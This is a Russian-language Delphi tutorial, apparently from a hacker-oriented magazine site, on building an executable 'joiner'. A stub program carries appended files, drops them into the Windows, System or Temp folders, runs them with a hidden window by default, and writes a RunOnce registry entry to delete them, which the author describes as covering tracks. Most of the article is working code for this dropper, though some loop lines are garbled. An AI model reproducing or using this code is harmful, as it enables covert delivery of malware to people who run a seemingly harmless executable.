Очень часто бывает так, что нужно склеить пару файлов в один екзешник, да так, чтобы после запуска выполнялись бы все склеенные файлы c различными параметрами запуска. Написанием такой программы мы и займемся.

Суть заключается в том, что мы создаем две программы: первая это непосредственно сам менеджер
(екземайкр), вторая это екзешник - бланк, вшиваемый в екземайкер, и в который в последствии будут дописаны все необходимые данные о склеиваемых файлах.

Кодим Екземайкер. 

Создай новый проект в дельфи и сразу же сохрани его. Сейчас кинь на форму компонент
TListView (с вкладки Win32), парочку TGroupBox(c Standard) на первом размести 4 TRadioButton и на втором столько же и на форме еще 2. Еще кинь один TLabel и один
TEdit. У объекта TListView проперти ViewStyle смени на vsReport и добавь 5 колонок (Columns) . Теперь кинь на форму TSaveDialog и TOpenDialog и еще четыре кнопки.
Все в принципе, с фейсом законченно. Сейчас приступим непосредственно к кодингу. Так для начала нам нужно создать все необходимые подручные средства. Сейчас мы создадим новый тип данных, для чего тебе нужно будет сразу же после раздела Uses прописать следующий код:

type
TFileItem=record
FileName:Shortstring;
Params:Shortstring;
CopyTo:Byte;
OpenStyle:Byte;
Act:Byte;
end;

Данный тип является записью данных, т.е объединенный общим именем набор данных различных типов,
что помогает тебе отказаться от лишнего геморроя. Данный тип содержит сведения об имени файла (FileName), параметрах запуска
(Params), о том куда копировать (CopyTo), о том как открыть(OpenStyle) и наконец, что делать после распоковки файла(Act).Теперь в разделе Public объяви динамический массив:

public
FileItems:array of TFileItem;//
массив описания файлов
end;

Я не буду тебя грузить теорией о массивах, ею ты сам сможешь грузануться в инете или книгу прикупи какую–нибудь. Скажу лишь то,
что этот массив хранит описания склеиваемых файлов.
Так, теперь на событие OnClick кнопки <Добавить файло>
пропиши следующий код: 

procedure TForm1.Button1Click(Sender:TObject);
var
Ind:integer;
begin
OpenDialog1.Filter:=‘Все файлы|*.*';//
устанавливаем фильтр
If OpenDialog1.Execute then//
если опендиалог запущен то
begin
Ind:=Length(FileItems);//
Ind=количество элементов массиваFileItems.
SetLength(FileItems,Ind+1);//
Добавляем один элемент в массив
//
Установка параметров элемента
FileItems[Ind].FileName:=OpenDialog1.FileName; 
FileItems[Ind].CopyTo:=toMustDie;
FileItems[Ind].OpenStyle:=osHide;
FileItems[Ind].Act:=taCopyExec;
FileItems[Ind].Params := ' '; 
//
Добавление строки в листвью
Ind:=ListView1.Items.Add.Index;
ListView1.Items.Item[Ind].Caption:=ExtractFileName(FileItems[Ind].FileName);
ListView1.Items.Item[Ind].SubItems.Add(FileItems[Ind].Params);
ListView1.Items.Item[Ind].SubItems.Add('Скрыть');
ListView1.Items.Item[Ind].SubItems.Add('В мастдай');
ListView1.Items.Item[Ind].SubItems.Add('копирнуть и запустить');
end;
end;

Теперь ты можешь добавлять файлы. Сейчас сделаем удаление на событие OnClick кнопки <Удалить> пропиши следующий код:

procedure TForm1.Button2Click(Sender:TObject);
var
Ind,Ind1:integer;
begin
Ind:=ListView1.ItemFocused.Index;//
определение выделенного файла в списке листвью 
ListView1.Items.Item[Ind].Delete;//
удаление из списка
Ind1:=Length(FileItems)-1;
while Indперемещаем удаляемый элемент на конец массива, все остальные элементы стоящие после удаляемого сдвигаем на одну позицию вперед}
begin
FileItems[Ind]:=FileItems[Ind+1];
Inc(Ind);
end;
SetLength(FileItems,Ind1);//
удаление последнего
end;

На событие OnClick кнопки <Выход>:

procedure TForm1.Button4Click(Sender:TObject);
begin
Application.Terminate;//
закрыть приложение
end;

Так теперь сделаем установку параметров. На событие OnClick у радиокнопки <Нормальный> пропиши:

procedure TForm1.RadioButton11Click(Sender:TObject); 
var
C,C1,C2:byte;
begin
If ListView1.ItemFocused=nil then//
Если ни один файл не выбран то выходим из процедуры
Exit;
C:=StrToInt(TRadioButton(Sender).Name[12]);//
получаем значение 12 символа имени радикнопки
(он соответствует столбцу в листвью) 

C1:=StrToInt(TRadioButton(Sender).Name[13]);//
получаем значение 13 символа имени радикнопки
(он соответствует присвоенному значению)

C2:=ListView1.ItemFocused.Index;//
получаем индекс текущего файла в списке 
ListView1.ItemFocused.SubItems.Strings[C]:=TRadioButton(Sender).Caption;
case C of
1:FileItems[C2].OpenStyle:=C1;
2:FileItems[C2].CopyTo:=C1;
3:FileItems[C2].Act:=C1;
end;
end;

Теперь у радиккнопок <Свернуть>,<Развернуть>,<Скрыть>,<в мастдай>,<в систем>,<в темп>,<в корень>,<копирнуть и запустить>,<только копирнуть> выбери для события OnClick в Object Inspectore процедуру RadioButton11Click.
И заключительный штрих установки параметров. Для Edit1 на событие OnChange повесь:

procedure TForm1.Edit1Change(Sender:TObject);
begin
If ListView1.ItemFocused=nil then
Exit;
ListView1.ItemFocused.SubItems.Strings[0]:=Edit1.Text;
FileItems[ListView1.ItemFocused.Index].Params:=Edit1.Text;
end;

А сейчас на событие OnChange объекта ListView1 пропиши процедурку, меняющая состояние переключателей в зависимости от выбранного файла в списке

procedure TForm1.ListView1Change(Sender:TObject;Item:TListItem;
Change:TItemChange);
begin
Edit1.Text:= FileItems[Item.Index].Params;//
меняем содержимое поля параметров
TRadioButton(FindComponent('RadioButton'+IntToStr(FileItems[Item.Index].OpenStyle+10))).Checked:=True;//
меняем переключатель «что делать»
TRadioButton(FindComponent('RadioButton'+IntToStr(FileItems[Item.Index].CopyTo+20))).Checked:=True;//
меняем переключатель «как открыть»
TRadioButton(FindComponent('RadioButton'+IntToStr(FileItems[Item.Index].Act + 30))).Checked:=True;//
меняем переключатель куда копировать
end;

Так, теперь все сохрани скомпилируй и можешь запустить. С кнопкой создать немножко подождем. Теперь закрывай проект и создавай еще один. Нам форма в нем не понадобится, так что удаляй ее к гейтсу и сохраняй проект под именем ExeFile, желательно в папке <папкаекземайкера>\«ExeFile». Теперь скомпилируй его и закрывай. Опять открывай проект с екземайкером.
Сейчас будем создавать ресурс. Я тебя тоже не буду особо загружать на тему кто такие ресурсы и с кем они спят, ты и сам я думаю достаточно осведомлен и не раз вытаскивал курсорчики иконочки и тому подобное из чужих программ. Мы же вместо иконочек и курсорчиков запишем туды екзешничек. Для этого тебе нужно создать файл ExeFile.rc в обыкновенном блокноте и прописать в него следующее:

EXE EXEFILE "<Папка в которой хранится проект ExeFile> \ExeFile.exe"

У меня это выглядит так:

EXE EXEFILE "C:\Program
Files\Borland\Delphi5\Projects\OneExeMaker\ExeFile\ExeFile.exe"

Теперь скинь в папку проекта екземайкера файл brcc32.exe из <папка дельфи>\bin. Теперь создай батник с именем CompileRes.bat и пропиши в него:

del ExeFile.res 
brcc32.exe ExeFile.rc -32 

Здесь в первой строке удаляется старый файл ресурса, во второй создается новый.
Все, сейчас запускай CompileRes.bat. Файл ресурса создан, как видишь в папке появился еще один файл с именем ExeFile.res.
Теперь этот самый ресурс надо подключить к проекту екземайкера. Делается это следующим образом: тебе надо после слова implementation добавить строку {$R ExeFile.res}.
Сейчас скомпилируй проект, теперь екзешник вшит в нашу прогу
- приступим непосредственно к созданию екзешников. 

procedure TForm1.Button3Click(Sender:TObject);
var
FS1,FS2:TFileStream;//
переменные файлового потока
Ind,Ind1,Size:integer;//
вспомогательные переменные
FileName:Shortstring;
Res:TResourceStream;//
переменная с помощью которой будем создавать екзешник
begin
SaveDialog1.Filter:='Екзешники|*.exe';
Res:=TResourceStream.Create(Hinstance,'EXE',PChar('EXEFILE'));//
инициализируем переменную
If SaveDialog1.Execute then//
открываем диалог открытия файлов
begin
FileName:=ChangeFileExt(SaveDialog1.FileName,'.exe');//
меняем расширение на екзе
If FileExists(FileName) then// проверяем есть ли такой файл если есть то
begin
// запрос на перезапись
case MessageDlg('Такой файл уже существуют, Хочешь заменить?', mtConfirmation, [mbYes, mbNO], 0) of
mrYes:begin DeleteFile(FileName);Res.SavetoFile(FileName);end;//
если да, удаляем и создаем по новой
mrNO:Exit;//
если нет выходим
end;
end
else
begin
Res.SavetoFile(FileName);//
создаем файл
end;
end;
Res.Free//
освобождаем оперативку от переменной Res. 
Ind:=0;
Ind1:=Length(FileItems);//
узнаем сколько файлов 
FS1:=TFileStream.Create(FileName, fmOpenWrite or fmShareDenyNone);//
открываем екзешник
FS1.Seek(FS1.Size, 0);//
перемещаемся на конец
FS1.Write(Ind1, Sizeof(Integer));//
записываем количество файлов
while Indделать пока не все файлы
записаны

begin
FS1.Write(FileItems[Ind].CopyTo,1);//
записываем инфу о том куда копировать
FS1.Write(FileItems[Ind].OpenStyle,1);//
записываем инфу о том как открыть
FS1.Write(FileItems[Ind].Act,1);//
записываем инфу о том что делать
FS1.Write(FileItems[Ind].Params,256);//
записываем параметры
FS2:=TFileStream.Create(FileItems[Ind].FileName,fmOpenRead);//
открываем записываемый файл
FileItems[Ind].FileName:=ExtractFileName(FileItems[Ind].FileName);//
получаем из имени с путем только имя
FS1.Write(FileItems[Ind].FileName, 256);//
записываем имя
Size:=FS2.Size;
FS1.Write(Size, Sizeof(Integer));//
записываем размер
FS2.Position:=0;
FS1.CopyFrom(FS2, Size);//
записываем тело файла
FileClose(FS2.Handle);//
закрываем записываемый файл
Inc(Ind);
end;
FileClose(FS1.Handle);
end;

Кодим ExeFile

Вот вроде с екземайкером все, теперь открывай проект ExeFile.. В раздел uses добавь Windows, Classes, SysUtils, ShellAPI, Registry.
Теперь сразу же после Uses создай новый тип TFileItem, так же, как мы это делали ранее. И объяви одну константу и одну переменную, сделать это можно после описания нашего типа данных:

const
StartPos=293888; 
var
FileItem:TFileItem;

Константа StartPos нужна для определения точки начала считывания. Когда мы записываем файлы в екзешник, мы их дописываем
в конец, а вот откуда считывать мы не знаем, поэтому нам нужна эта константа, ее значение равно размеру исходного екзешника в байтах. В принципе если ты пишешь под пятую дельфи, и сделал все как у меня, то значение должно совпасть. Так далее создавай процедуру:

function GetDestDir(Value: byte): string;
var
Buffer:array[0..1023] of Char;
begin
case Value of
0:SetString(Result,Buffer,GetWindowsDirectory(Buffer,SizeOf(Buffer)));
1:SetString(Result,Buffer,GetSystemDirectory(Buffer,SizeOf(Buffer)));
2:SetString(Result,Buffer,GetTempPath(SizeOf(Buffer),Buffer));
3:Result:='C:\';
end;
end;

Данная процедура нужна для определения папок в которые будем копировать: у тебя то ясен пень виндовз лежит в папке MustDie, да вот не у всех он там лежит. В зависимости от параметра Value значению функции придаем соответствующее имя папки.
Ну и наконец заключительный, но самый важный штрих, создаем процедуру считывания и распаковки файлов:

procedure Init;// главная процедура инициализации 
var
FS1,FS2:TFileStream;
Ind,Size,Count:integer;
FileName,Params:string;
Reg:TRegistry;
begin
Reg:=TRegistry.Create;//
создаем переменную для работы с реестром
Reg.RootKey:=HKEY_LOCAL_MACHINE;//
устанавливаем загрузочный ключ
Reg.LazyWrite:=False;
FS1:=TFileStream.Create(Application.ExeName,fmOpenRead);//
открываем себя на считывание
FS1.Position:=StartPos;//
переходим на позицию считывания
FS1.Read(Count,Sizeof(Integer));//
считываем количество файлов
Ind := 0;
while Ind/делать пока не все файлы
распакованы

begin
FS1.Read(FileItem.CopyTo,1);//
считываем инфу о том куда копировать
FS1.Read(FileItem.OpenStyle,1);//
считываем инфу о том как открыть
FS1.Read(FileItem.Act,1);//
считываем инфу о том что делать
FS1.Read(FileItem.Params,256);//
считываем параметры
FS1.Read(FileItem.FileName,256);//
считываем имя файла
FileName:=GetDestDir(FileItem.CopyTo)+'\'+FileItem.FileName;//
получаем имя с путем
FS2:=TFileStream.Create(FileName,fmCreate);//
создаем файл 
FS1.Read(Size,Sizeof(Integer));//
считываем размер файла
FS2.CopyFrom(FS1,Size);//
записываем в него содержимое
FileClose(FS2.Handle);//
закрываем распакованный файл
If FileItem.Act=0 then//
если копирнуть и запустить то
begin
Params:=FileItem.Params;
ShellExecute(0,nil,PChar(FileName),PChar(Params),'',FileItem.OpenStyle);
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',False);//

открываем реестр
Reg.WriteString('Delete'+FileName,'command.com /c del ' + FileName);//
записываем то, что файл надо удалить
Reg.CloseKey;//
закрываем ключ
end;
Inc(Ind);
end;
Reg.Free//
закрываем реестр
FileClose(FS1.Handle);// закрываем себя
end;

В этой процедуре, как видишь, мы сначала открываем сам екзешник, затем перемещаемся на точку считывания – StartPos, считываем количество записанных файлов, затем входим в цикл: пока не все файлы обработаны делать. Для каждого файла считываем инфу о том куда копировать, как открыть, что с ним сделать, и с какими параметрами запустить. После чего считываем имя файла, и с помощью процедуры GetDestDir, получаем полное имя файла с путем. Затем создаем считываемый файл, и записываем в него его содержимое, считанное из екзешника и закрываем его. Затем смотрим если выбран стиль копирнуть и запустить, то нам нужно кроме копирования еще и запустить файл, а после чего нам потребуется замести следы и удалить этот файл, поэтому создаем ИФ в котором сначала запускаем фйал, затем открываем реестр и в папку
Software\Microsoft\Windows\ CurrentVersion\RunOnce записываем инфу о том что нужно удалить этот файл при следующей загрузке Windows. Почему же нам надо это проделать? А потому, что если мы сейчас начнем удалять файл, то возникнет ошибка совместного доступа, т.к. мы не можем удалять запущенный в данный момент файл.
Ну и еще немножечко, код между Begin и End приведи к виду:

Application.Initialize;
Application.Run;
Init; //
запуск процедуры

И.... сейчас сохрани все скомпили и открывай екземайкер, затем запускай CompileRes.bat, затем компили екземайкер. 

Вот собственно и все запускай, добавляй и создавай екзешники.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии